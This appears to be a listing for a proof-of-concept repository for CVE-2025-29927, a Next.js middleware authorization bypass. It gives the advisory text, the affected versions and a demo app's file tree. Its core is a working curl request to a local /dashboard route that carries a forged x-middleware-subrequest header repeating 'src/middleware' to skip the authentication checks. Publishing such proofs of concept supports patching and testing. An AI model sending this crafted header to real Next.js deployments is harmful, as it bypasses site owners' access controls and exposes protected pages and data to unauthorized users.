CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source

https://github.com/ethanol1310/POC-CVE-2025-29927-

Associated Vulnerability

Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

Description

POC CVE-2025-29927

Readme

# Affected 
- Next.js 15.x < 15.2.3, 14.x < 14.2.25, Next.js 13.x < 13.5.9
- Self-hosted setups that use Middleware for critical functionality, such as authentication.

# Guide
```
npm run dev 
```

```
curl --compressed -X GET http://localhost:3000/dashboard \
  -H "Host: localhost:3000" \
  -H "sec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"" \
  -H "sec-ch-ua-mobile: ?0" \
  -H "sec-ch-ua-platform: \"macOS\"" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Sec-Fetch-Site: none" \
  -H "Sec-Fetch-Mode: navigate" \
  -H "Sec-Fetch-User: ?1" \
  -H "Sec-Fetch-Dest: document" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
```

Thanks to ChatGPT

File Snapshot


 [4.0K]  /data/pocs/729e56b3d9e075cf81f88ac146dc76246d3e9dfe
├── [  92]  next.config.mjs
├── [ 201]  next-env.d.ts
├── [ 482]  package.json
├── [177K]  package-lock.json
├── [4.0K]  public
│   ├── [1.3K]  next.svg
│   └── [ 629]  vercel.svg
├── [1.1K]  README.md
├── [4.0K]  src
│   ├── [4.0K]  app
│   │   ├── [4.0K]  dashboard
│   │   │   └── [ 246]  page.tsx
│   │   ├── [ 25K]  favicon.ico
│   │   ├── [2.2K]  globals.css
│   │   ├── [ 473]  layout.tsx
│   │   ├── [4.0K]  login
│   │   │   └── [2.1K]  page.tsx
│   │   ├── [3.8K]  page.module.css
│   │   └── [ 204]  page.tsx
│   └── [ 721]  middleware.ts
└── [ 578]  tsconfig.json

5 directories, 16 files

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